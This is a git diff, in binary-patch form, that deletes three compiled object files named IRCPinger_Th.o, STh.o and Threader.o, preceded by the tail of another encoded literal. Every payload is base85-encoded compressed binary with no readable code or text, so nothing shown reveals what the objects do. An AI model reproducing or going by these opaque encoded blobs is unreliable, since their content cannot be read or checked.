zZtn7Tw5e@foi$!;X1{Pm>W;TZBG7X&VoSJaCWZn5WpRvuQ?ys7dKQFMhuS0ITSKkk zShL;%c>8+XP}Cd&c2_TYA>y4?+!l{^#Uq*Gb)C1hbv8ryh<C%a5qOj7O~I~Bn|k$@ zF?tjBFu09tY>hR?rOnVIGC(8@5Ge4tSvOp#wzbEX)<6RXI-7Jqb4q*>z2yJz9u9|l zRd+lRY6&+*)Ifu}xJm7eM)1;Z?W)EQL`hwOgRVVO_q>xvoxy|d%!WS&M3Wns&mdK{ zb;U!Q!tuzW0L(WT;cQ&zhnnME(5#)!=nY&&hC?tJ^uR0?3Psh{7z8+UYos^S1aE3Y zOo?J=hWl5%Yl6?YECu*Hk2vl<1%4yJ%L%@R;ByFmkmE27OSo4RdQKAlJc7SYaH{_U zg5#Z*(DNz27NCAS3k%#wa6D@W{1CzC6CC#knDBvj1%jWp;JaWQ#bma-mf&tE7kcoY z;bOvg;+>ele@So}=Tiiy@ex~EbPG=-LXQI-frJmd>k_z&;CSUI@EU^Cb_o)E5#fK8 z<LEza-(JF}dJ+VudY&XW{=<9W&#wqh^&BHO)$<z1F%H;=g`U3<{t|+JOmIA#2!0tq zzoQ=fWF_!L97i##CrEIrr-R^E6FpB8obq4eINHT6ps@QV!l!mG5S;3{l3xj+pVaP6 z1gHFdj+^WIAmLNHPZFH!IZkkDx0qi=pg)wqnB!=72B~ii;ZwWo2u}5EAvm@B6M|Fz zA2^P7@lHv^d4%w(-3tV#dhq|u!eox~Y=T!pxzN9o;MC7n3tY3npR&MzZGoS$z%Rjp z3(4$%g$2IG0*_kY4_e^QTHya;fxmBoUp6Jb|4S_JYJyjRsL?JQM>BL@-9Yei!oP>; znM?3*6P&Ii-y?eF5dI+x{xObY|D^NJtAxLd=$XZ@l&~F_6MVS^{%8r1AYpyW;7`Qi z=LDzqy@Fp%A)n%91gG_?<~aKEMWTO$1>Q?={Feg4pKn^=z5Eb}{?x-C{Btpu9^*LL z{SwjhQw#ooSn%Jo;LpN~XGmuK3psA~=Vl9j+=Blt3;xp<{1X=Z*Dd%C{=viS|7wDN z8R{qE-(-Q`Wr06rfj>&{YNCHH!CeGDWPu;Iz<+Cj|EC51wgo<JfjjsWFUF1fDO=z( zEbyx=@Oc*aVhjAs7I?q{|B40PYJuNpf&at;KWKrETHqHf@G{)AK{Cg=$^yT|0^dn+ z+Ml1czz<sBFLT^HuHPqoI?sFoCu{CMwY%B^{|d*=`oB*2RKI(=t{?d|@F&LUQi9hK zypH1-PrBaSNN^wF-^y`Zcdj9Ll<@roUyGYINT@#mf5M*)97jF)NnGH~gg>9)T?D_5 z;P(=ot_zP@;J+gH3ZmyI!B-LdJ&t2MXA}H_1%D3z0BLToT8?8JXnWNYoZ4+6IPE8$ z1gHEh1g|E3ayN7KZ@s|5g#N6AKM{ZY?t;mT|51l?@DD9;ao=m!gWoeSnQ?w>W#?!t z6aI)Vh=}38=@2-d9@ze5HNp8mk6?Q02!0j3W5WJM_0MIfj;(=rp`XL-3m4x~35Y$h z8lNYK@CWsm5*+tJm=NbjF_!nRUmfR1B8F5G9A!kpv4aV*V)my0Jj34+$3O91V4UFC c7e(5^<1hH)ejdLMVG{aZ)w9xX2u|bhUmUC%`Tzg` diff --git a/IRCPinger_Th.o b/IRCPinger_Th.o deleted file mode 100644 index 8e55e7e19b3f0e375c0b03d2e787ed2a6041f4fd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5368 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 diff --git a/STh.o b/STh.o deleted file mode 100644 index 5a402ea96fbd82a4f127374c93fef207871fb012..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 14080 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 diff --git a/Threader.o b/Threader.o deleted file mode 100644 index 2e7127aac2a2da59e3feaf3caff5e1677b0ad094..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 30944 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 